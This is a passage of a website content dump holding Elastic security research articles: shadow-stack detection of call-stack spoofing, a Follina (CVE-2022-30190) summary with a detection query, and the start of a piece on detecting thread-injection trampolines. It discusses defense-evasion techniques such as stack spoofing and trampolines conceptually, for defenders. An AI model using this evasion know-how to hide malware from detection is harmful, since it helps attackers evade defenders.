CET are often used interchangeably.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"HSP creates a shadow stack, separate from the regular stack. It is read-only in user mode, and consists exclusively of return addresses. Contrast this with the regular stack, which interleaves data with return addresses, and must be writable for applications to function correctly. Whenever a CALL instruction executes, the current instruction pointer (aka return address) is pushed onto both the regular and shadow stacks. Conversely, RET instructions pop the return address from both stacks, generating an exception if they mismatch. In theory, ROP attacks are mitigated because attackers can't write arbitrary values to the read-only shadow stack, and changing the Shadow Stack Pointer (SSP) is a privileged operation, making pivots impossible.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Today we\\u2019re going to discuss three additional benefits that HSP brings, beyond the intended exploit mitigation capability, then go into some limitations.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"debugging\",children:\"Debugging\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Although designed as an exploit mitigation, HSP provides useful data for other purposes. Modern versions of \",(0,t.jsx)(e.a,{href:\"https://apps.microsoft.com/store/detail/windbg-preview/9PGJGD53TN86?hl=en-us\u0026gl=us\",rel:\"nofollow\",children:\"WinDbg\"}),\" will display a hint to the user that they can use SSP as an alternate way to recover a stack trace. This can be very useful when debugging stack corruption bugs that overwrite return addresses, because the shadow stack is independent. It's also useful in situations where the stack unwind data is unavailable.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"For example, see the WinDbg output below for a process memory dump. The \",(0,t.jsx)(e.code,{children:\"k\"}),\" command displays a regular stack trace. \",(0,t.jsx)(e.code,{children:\"dps @ssp\"}),\" resolves all symbols it can find, starting at SSP - this is essentially a shadow stack trace. Note how the two stack traces are identical except for the first frame:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/finding-truth-in-the-shadows/image3.png\",alt:\"Note the similarities\",width:\"1146\",height:\"1262\"})}),`\n`,(0,t.jsx)(e.h1,{id:\"performance\",children:\"Performance\"}),`\n`,(0,t.jsxs)(e.p,{children:['Kernel mode components such as EDR and ETW often capture stack traces to provide additional context to each event. On x64 platforms, a stack walk entails capturing the thread\\u2019s context, then looking up a data structure for each frame that enables the walker to \"unwind\" it and find the next frame. These lookups were slow enough that Microsoft saw fit to construct a ',(0,t.jsx)(e.a,{href:\"http://uninformed.org/index.cgi?v=8\u0026a=2\u0026p=20\",rel:\"nofollow\",children:\"multi-tier cache system\"}),\" when they added x64 support. You can see the traverse/unwind process approximated \",(0,t.jsx)(e.a,{href:\"https://github.com/reactos/reactos/blob/11a71418d50f48ff0e10d2dbbe243afaf34c4368/sdk/lib/rtl/amd64/unwind.c#L909C6-L1011\",rel:\"nofollow\",children:\"here\"}),\" in ReactOS, sans cache.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Given that the entire shadow stack likely resides on a single page and no unwinding is required, shadow stack walking is probably more performant than traditional stack walking, though this has yet to be proven.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"detection\",children:\"Detection\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The shadow stack provides an interesting detection opportunity. Adversaries can use techniques demonstrated in \",(0,t.jsx)(e.a,{href:\"https://github.com/mgeeky/ThreadStackSpoofer/tree/master\",rel:\"nofollow\",children:\"ThreadStackSpoofer\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://github.com/WithSecureLabs/CallStackSpoofer\",rel:\"nofollow\",children:\"CallStackSpoofer\"}),\" to obfuscate their presence against thread stack scans (e.g. \",(0,t.jsx)(e.code,{children:\"StackWalk64\"}),\") and inline stack traces like \",(0,t.jsx)(e.a,{href:\"https://www.lares.com/blog/hunting-in-the-sysmon-call-trace/\",rel:\"nofollow\",children:\"Sysmon Open Process events\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"By comparing a traditional stack walk against its shadowy sibling, we can both detect and bypass thread stack spoofing. We present \",(0,t.jsx)(e.a,{href:\"https://github.com/gabriellandau/ShadowStackWalk\",rel:\"nofollow\",children:\"ShadowStackWalk\"}),\", a PoC that implements CaptureStackBackTrace/StackWalk64 using the shadow stack to catch thread stack spoofing.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"When the stack is normal, ShadowStackWalk functions similarly to \",(0,t.jsx)(e.code,{children:\"CaptureStackBackTrace\"}),\" and \",(0,t.jsx)(e.code,{children:\"StackWalk64\"}),\":\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/finding-truth-in-the-shadows/image7.jpg\",alt:\"ShadowStackWalk normal stack\",width:\"1440\",height:\"540\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"ShadowStackWalk is unaffected by intentional breaks of the call stack such as \",(0,t.jsx)(e.a,{href:\"https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/main.cpp#L20-L25\",rel:\"nofollow\",children:\"ThreadStackSpoofer\"}),\". Frames missed by other techniques are in green:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/finding-truth-in-the-shadows/image8.jpg\",alt:\"ShadowStackWalk encounters a broken call stack\",width:\"1440\",height:\"441\"})}),`\n`,(0,t.jsx)(e.p,{children:\"ShadowStackWalk doesn't care about forged stack frames. Incorrect frames are in red. Frames missed by other techniques are in green:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/finding-truth-in-the-shadows/image9.jpg\",alt:\"Forged stack frames? No Problem.\",width:\"1440\",height:\"502\"})}),`\n`,(0,t.jsx)(e.h1,{id:\"limitations\",children:\"Limitations\"}),`\n`,(0,t.jsx)(e.p,{children:\"Hardware support for HSP is limited. HSP requires at least an 11th-gen Intel or 5000-series Ryzen CPU, both released in late 2020. There is no software emulation. It will take years for the majority of CPUs to support HSP.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Software support for HSP is limited. Microsoft has been slowly rolling it out, even among their own processes. On an example Windows 10 22H2 workstation, it's enabled in roughly 40% of processes. Because HSP is an exploit mitigation, implementation will likely start with common exploitation targets like web browsers, though not all msedge.exe processes shown below are not protected by it. As HSP matures and support improves, non-HSP processes will become outliers worthy of additional scrutiny, similar to processes in 2023 without DEP support. For now, malware can simply choose processes without HSP enabled. Also of note is that HSP does not support WOW64 at all.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/finding-truth-in-the-shadows/image2.jpg\",alt:\"Software support for HSP is limited, even among Microsoft's processes (in red). Contrasted (in blue) against mature technologies like DEP and ASLR\",width:\"1100\",height:\"876\"})}),`\n`,(0,t.jsx)(e.p,{children:\"HSP was designed with an exploit mitigation threat model. It was never designed to defend against adversaries who have code execution, can change thread contexts, and perform system calls. In time, adversaries will adapt their call stack manipulations to manipulate the shadow stack as well. However, the fact that the shadow stack is user-RO and changing the SSP is privileged operation means that such tampering requires system calls which can (theoretically) be subjected to far more scrutiny than traditional stack tampering.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Today we discussed three potential benefits of Windows Hardware Stack Protection, and released \",(0,t.jsx)(e.a,{href:\"https://github.com/gabriellandau/ShadowStackWalk\",rel:\"nofollow\",children:\"a PoC\"}),\" demonstrating how it can be used to both detect and defeat defense evasions that manipulate the call stack.\"]})]})}function y(a={}){let{wrapper:e}=a.components||{};return e?(0,t.jsx)(e,Object.assign({},a,{children:(0,t.jsx)(l,a)})):l(a)}var P=y;return b(v);})();\n;return Component;"},"_id":"articles/finding-truth-in-the-shadows.mdx","_raw":{"sourceFilePath":"articles/finding-truth-in-the-shadows.mdx","sourceFileName":"finding-truth-in-the-shadows.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/finding-truth-in-the-shadows"},"type":"Article","imageUrl":"/assets/images/finding-truth-in-the-shadows/blog-thumb-laser-tunnel.jpg","readingTime":"5 min read","series":"","url":"/finding-truth-in-the-shadows","headings":[],"author":[{"title":"Gabriel Landau","slug":"gabriel-landau","description":"Principal Software Engineer II, Elastic","image":"gabriel-landau.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of d(e))!f.call(t,r)\u0026\u0026r!==n\u0026\u0026i(t,r,{get:()=\u003ee[r],enumerable:!(o=m(e,r))||o.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?g(x(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003es(i({},\"__esModule\",{value:!0}),t);var l=p((F,c)=\u003e{c.exports=_jsx_runtime});var D={};j(D,{default:()=\u003eC,frontmatter:()=\u003eM});var a=_(l()),M={title:\"Gabriel Landau\",description:\"Principal Software Engineer II, Elastic\",image:\"gabriel-landau.jpg\",slug:\"gabriel-landau\"};function u(t){return(0,a.jsx)(a.Fragment,{})}function w(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(u,t)})):u(t)}var C=w;return b(D);})();\n;return Component;"},"_id":"authors/gabriel-landau.mdx","_raw":{"sourceFilePath":"authors/gabriel-landau.mdx","sourceFileName":"gabriel-landau.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/gabriel-landau"},"type":"Author","imageUrl":"/assets/images/authors/gabriel-landau.jpg","url":"/authors/gabriel-landau"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Vulnerability summary: Follina, CVE-2022-30190","slug":"vulnerability-summary-follina","date":"2023-01-19","description":"Elastic is deploying a new malware signature to identify the use of the Follina vulnerability. Learn more in this post.","image":"blog-security-detection-720x420.png","body":{"raw":"\nOn May 27, 2022, the nao_sec independent security research group shared a VirusTotal link to a weaponized Microsoft Office document revealing a previously unknown vulnerability in the Microsoft Support Diagnostic Tool (MSDT). This vulnerability is most likely to be exploited via phishing lure attachments and is triggered when a document is opened. Readers should expect this vulnerability to be adopted by threats of all kinds and be aware that it enables arbitrary code to be executed as outlined in Microsoft’s [\u003cu\u003edisclosure\u003c/u\u003e](https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/).\n\n## Summary\n\nReaders may [\u003cu\u003erecall\u003c/u\u003e](https://www.elastic.co/blog/playing-defense-against-gamaredon-group) that template injection is an [\u003cu\u003eestablished\u003c/u\u003e](https://attack.mitre.org/techniques/T1221/) technique enabling an attacker to remotely load malicious content when a document is opened by a relevant application. This vulnerability — dubbed “[\u003cu\u003eFollina\u003c/u\u003e](https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e)” — works in conjunction with template injection, specifically when the remote template uses the ms-msdt URI handler. Importantly, it does not require macros to be enabled. As in other cases of template injection, readers should be aware that remote objects may be heavily obfuscated.\n\nSecurity teams should monitor msdt.exe as a child process of WINWORD.exe and other applications, paying particular attention to command line arguments and network activity attributed to that child process. Security teams may also consider monitoring network activity from all MS Office applications and their descendants as one way of generically identifying initial exploitation attempts via weaponized documents.\n\nElastic is deploying a new malware signature to identify the use of ms-msdt URIs. This signature will be distributed via the Elastic Endpoint. The team has also issued an update to the “[\u003cu\u003eSuspicious MS Office Child Process\u003c/u\u003e](https://github.com/elastic/detection-rules/blob/main/rules/windows/initial_access_suspicious_ms_office_child_process.toml)” rule available via the [\u003cu\u003edetection-rules repository\u003c/u\u003e](https://github.com/elastic/detection-rules), adding “msdt.exe” to the list of suspicious descendants and “Outlook.exe” to the list of relevant parent processes. The following query pertains to Elastic Endgame:\n\n```\nNetwork where process_name == “msdt.exe” and\ndescendant of [process where process_name == “winword.exe” ]\n| unique process_name, command_line\n```\n\n## References\n\nSeveral organizations have released information and resources related to this vulnerability (non-exhaustive):\n\n- Microsoft’s [\u003cu\u003eguidance\u003c/u\u003e](https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/), outlining one method of disabling the MSDT URL protocol\n- Huntress has provided their [\u003cu\u003eanalysis\u003c/u\u003e](https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug) of the vulnerability with additional information about ms-msdt abuse Todyl has shared an [\u003cu\u003eElastic query \u003c/u\u003e](https://twitter.com/brent_murphy/status/1531322468228399104?t=yX_zDYE4ew6gA4am6a75Ug\u0026s=09)pertaining to process events\n\nKevin Beaumont has provided a [\u003cu\u003ewrite-up\u003c/u\u003e](https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e) with historical and other details about potential implementations.\n","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var y=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),b=(i,e)=\u003e{for(var o in e)a(i,o,{get:e[o],enumerable:!0})},l=(i,e,o,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let n of m(e))!f.call(i,n)\u0026\u0026n!==o\u0026\u0026a(i,n,{get:()=\u003ee[n],enumerable:!(r=u(e,n))||r.enumerable});return i};var g=(i,e,o)=\u003e(o=i!=null?h(p(i)):{},l(e||!i||!i.__esModule?a(o,\"default\",{value:i,enumerable:!0}):o,i)),w=i=\u003el(a({},\"__esModule\",{value:!0}),i);var c=y((M,s)=\u003e{s.exports=_jsx_runtime});var j={};b(j,{default:()=\u003e_,frontmatter:()=\u003ev});var t=g(c()),v={title:\"Vulnerability summary: Follina, CVE-2022-30190\",slug:\"vulnerability-summary-follina\",date:\"2023-01-19\",description:\"Elastic is deploying a new malware signature to identify the use of the Follina vulnerability. Learn more in this post.\",author:[{slug:\"devon-kerr\"}],image:\"blog-security-detection-720x420.png\",category:[{slug:\"security-research\"},{slug:\"vulnerability-updates\"}]};function d(i){let e=Object.assign({p:\"p\",a:\"a\",h2:\"h2\",pre:\"pre\",code:\"code\",ul:\"ul\",li:\"li\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"On May 27, 2022, the nao_sec independent security research group shared a VirusTotal link to a weaponized Microsoft Office document revealing a previously unknown vulnerability in the Microsoft Support Diagnostic Tool (MSDT). This vulnerability is most likely to be exploited via phishing lure attachments and is triggered when a document is opened. Readers should expect this vulnerability to be adopted by threats of all kinds and be aware that it enables arbitrary code to be executed as outlined in Microsoft\\u2019s \",(0,t.jsx)(e.a,{href:\"https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/\",rel:\"nofollow\",children:(0,t.jsx)(\"u\",{children:\"disclosure\"})}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Readers may \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/playing-defense-against-gamaredon-group\",rel:\"nofollow\",children:(0,t.jsx)(\"u\",{children:\"recall\"})}),\" that template injection is an \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1221/\",rel:\"nofollow\",children:(0,t.jsx)(\"u\",{children:\"established\"})}),\" technique enabling an attacker to remotely load malicious content when a document is opened by a relevant application. This vulnerability \\u2014 dubbed \\u201C\",(0,t.jsx)(e.a,{href:\"https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e\",rel:\"nofollow\",children:(0,t.jsx)(\"u\",{children:\"Follina\"})}),\"\\u201D \\u2014 works in conjunction with template injection, specifically when the remote template uses the ms-msdt URI handler. Importantly, it does not require macros to be enabled. As in other cases of template injection, readers should be aware that remote objects may be heavily obfuscated.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Security teams should monitor msdt.exe as a child process of WINWORD.exe and other applications, paying particular attention to command line arguments and network activity attributed to that child process. Security teams may also consider monitoring network activity from all MS Office applications and their descendants as one way of generically identifying initial exploitation attempts via weaponized documents.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic is deploying a new malware signature to identify the use of ms-msdt URIs. This signature will be distributed via the Elastic Endpoint. The team has also issued an update to the \\u201C\",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/initial_access_suspicious_ms_office_child_process.toml\",rel:\"nofollow\",children:(0,t.jsx)(\"u\",{children:\"Suspicious MS Office Child Process\"})}),\"\\u201D rule available via the \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:(0,t.jsx)(\"u\",{children:\"detection-rules repository\"})}),\", adding \\u201Cmsdt.exe\\u201D to the list of suspicious descendants and \\u201COutlook.exe\\u201D to the list of relevant parent processes. The following query pertains to Elastic Endgame:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`Network where process_name == \\u201Cmsdt.exe\\u201D and\ndescendant of [process where process_name == \\u201Cwinword.exe\\u201D ]\n| unique process_name, command_line\n`})}),`\n`,(0,t.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,t.jsx)(e.p,{children:\"Several organizations have released information and resources related to this vulnerability (non-exhaustive):\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Microsoft\\u2019s \",(0,t.jsx)(e.a,{href:\"https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/\",rel:\"nofollow\",children:(0,t.jsx)(\"u\",{children:\"guidance\"})}),\", outlining one method of disabling the MSDT URL protocol\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Huntress has provided their \",(0,t.jsx)(e.a,{href:\"https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug\",rel:\"nofollow\",children:(0,t.jsx)(\"u\",{children:\"analysis\"})}),\" of the vulnerability with additional information about ms-msdt abuse Todyl has shared an \",(0,t.jsx)(e.a,{href:\"https://twitter.com/brent_murphy/status/1531322468228399104?t=yX_zDYE4ew6gA4am6a75Ug\u0026s=09\",rel:\"nofollow\",children:(0,t.jsx)(\"u\",{children:\"Elastic query \"})}),\"pertaining to process events\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Kevin Beaumont has provided a \",(0,t.jsx)(e.a,{href:\"https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e\",rel:\"nofollow\",children:(0,t.jsx)(\"u\",{children:\"write-up\"})}),\" with historical and other details about potential implementations.\"]})]})}function x(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var _=x;return w(j);})();\n;return Component;"},"_id":"articles/vulnerability-summary-follina.mdx","_raw":{"sourceFilePath":"articles/vulnerability-summary-follina.mdx","sourceFileName":"vulnerability-summary-follina.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/vulnerability-summary-follina"},"type":"Article","imageUrl":"/assets/images/vulnerability-summary-follina/blog-security-detection-720x420.png","readingTime":"2 min read","series":"","url":"/vulnerability-summary-follina","headings":[{"level":2,"title":"Summary","href":"#summary"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Devon Kerr","slug":"devon-kerr","description":"Elastic Security Labs Team Lead, Elastic","image":"devon-kerr.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var d=Object.create;var a=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),p=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of g(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(s=x(e,o))||s.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?d(l(t)):{},i(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),v=t=\u003ei(a({},\"__esModule\",{value:!0}),t);var m=j((y,c)=\u003e{c.exports=_jsx_runtime});var b={};p(b,{default:()=\u003eM,frontmatter:()=\u003eD});var r=_(m()),D={title:\"Devon Kerr\",description:\"Elastic Security Labs Team Lead, Elastic\",slug:\"devon-kerr\",image:\"devon-kerr.jpg\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function L(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var M=L;return v(b);})();\n;return Component;"},"_id":"authors/devon-kerr.mdx","_raw":{"sourceFilePath":"authors/devon-kerr.mdx","sourceFileName":"devon-kerr.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/devon-kerr"},"type":"Author","imageUrl":"/assets/images/authors/devon-kerr.jpg","url":"/authors/devon-kerr"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Vulnerability updates","slug":"vulnerability-updates","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of d(e))!p.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},u(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eu(o({},\"__esModule\",{value:!0}),t);var c=_((X,i)=\u003e{i.exports=_jsx_runtime});var D={};g(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=j(c()),y={title:\"Vulnerability updates\",slug:\"vulnerability-updates\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return b(D);})();\n;return Component;"},"_id":"categories/vulnerability-updates.mdx","_raw":{"sourceFilePath":"categories/vulnerability-updates.mdx","sourceFileName":"vulnerability-updates.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/vulnerability-updates"},"type":"Category","url":"/categories/vulnerability-updates"}]},{"title":"Get-InjectedThreadEx – Detecting Thread Creation Trampolines","slug":"get-injectedthreadex-detection-thread-creation-trampolines","date":"2022-12-07","description":"In this blog, we will demonstrate how to detect each of four classes of process trampolining and release an updated PowerShell detection script – Get-InjectedThreadEx","image":"photo-edited-02-e.jpg","tags":["windows internals","process injection","defense evasion"],"body":{"raw":"\nThe prevalence of [memory resident malware](https://www.elastic.co/blog/hunting-memory) remains extremely high. Defenders have imposed significant costs on file-based techniques, and malware must typically utilize [in-memory techniques](https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) to avoid detection. In Elastic's recently-published [Global Threat Report](https://t.co/3PZDENisXK), defense evasion is the most diverse tactic we observed and represents an area of rapid, continuous innovation.\n\nIt is convenient, and sometimes necessary, for memory-resident malware to create its own threads within its surrogate process. Many such threads can be detected with relatively low noise by identifying those which have a start address not backed by a Portable Executable (PE) image file on disk. This detection technique was originally conceived by Elastic's [Gabriel Landau](https://twitter.com/GabrielLandau) and Nicholas Fritts for the Elastic Endgame product. Shortly thereafter, it was released as a PowerShell script for the benefit of the community in the form of [Get-InjectedThread](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) with the help of [Jared Atkinson](https://twitter.com/jaredcatkinson) and Elastic's [Joe Desimone](https://twitter.com/dez_) at the [2017 SANS Threat Hunting and IR Summit](https://www.slideshare.net/JoeDesimone4/taking-hunting-to-the-next-level-hunting-in-memory).\n\nAt a high level, this approach detects threads created with a user start address in unbacked executable memory. Unbacked executable memory itself is quite normal in many processes such as those that do just-in-time (JIT) compilation of bytecode or scripts like .NET or javascript. However, that JIT’d code rarely manages its own threads – usually that is handled by the runtime or engine.\n\n\n\nHowever, an adversary often has sufficient control to create a thread with an image-backed start address which will subsequently transfer execution to their unbacked memory. When this transfer is done immediately, it is known as a “trampoline” as you are quickly catapulted somewhere else.\n\nThere are four broad classes of trampolines – you can build your own from scratch, you can use an illusionary trampoline, you can repurpose something else as a trampoline, or you can simply find an existing trampoline.\n\nIn other words - hooks, hijacks, gadgets and functions.\n\nEach of these will bypass our original unbacked executable memory heuristic.\n\nI highly recommend these two excellent blogs as background:\n\n- [Understanding and Evading Get-InjectedThread](https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/) by Adam Chester.\n- [Avoiding Get-InjectedThread for Internal Thread Creation](https://www.trustedsec.com/blog/avoiding-get-injectedthread-for-internal-thread-creation/) by Christopher Paschen.\n\nIn this blog, we will demonstrate how to detect each of these classes of bypass and release an updated PowerShell detection script – [Get-InjectedThreadEx](https://github.com/jdu2600/Get-InjectedThreadEx).\n\n## CreateThread() overview\n\nAs a quick recap, the Win32 [CreateThread()](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread) API lets you specify a pointer to a desired StartAddress which will be used as the entrypoint of a function that takes exactly one user-provided parameter.\n\n\n\nSo, CreateThread() is effectively a simple shellcode runner.\n\n\n\nAnd its sibling, [CreateRemoteThread()](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) is effectively remote process injection.\n\nThe value of the lpStartAddress parameter is stored by the kernel in the Win32StartAddress field within the [ETHREAD](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/ps/ethread/) structure for that thread.\n\n\n\nThis value can be queried from user mode using the documented [NtQueryInformationThread()](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationthread) syscall with the ThreadQuerySetWin32StartAddress information class. A subsequent call to 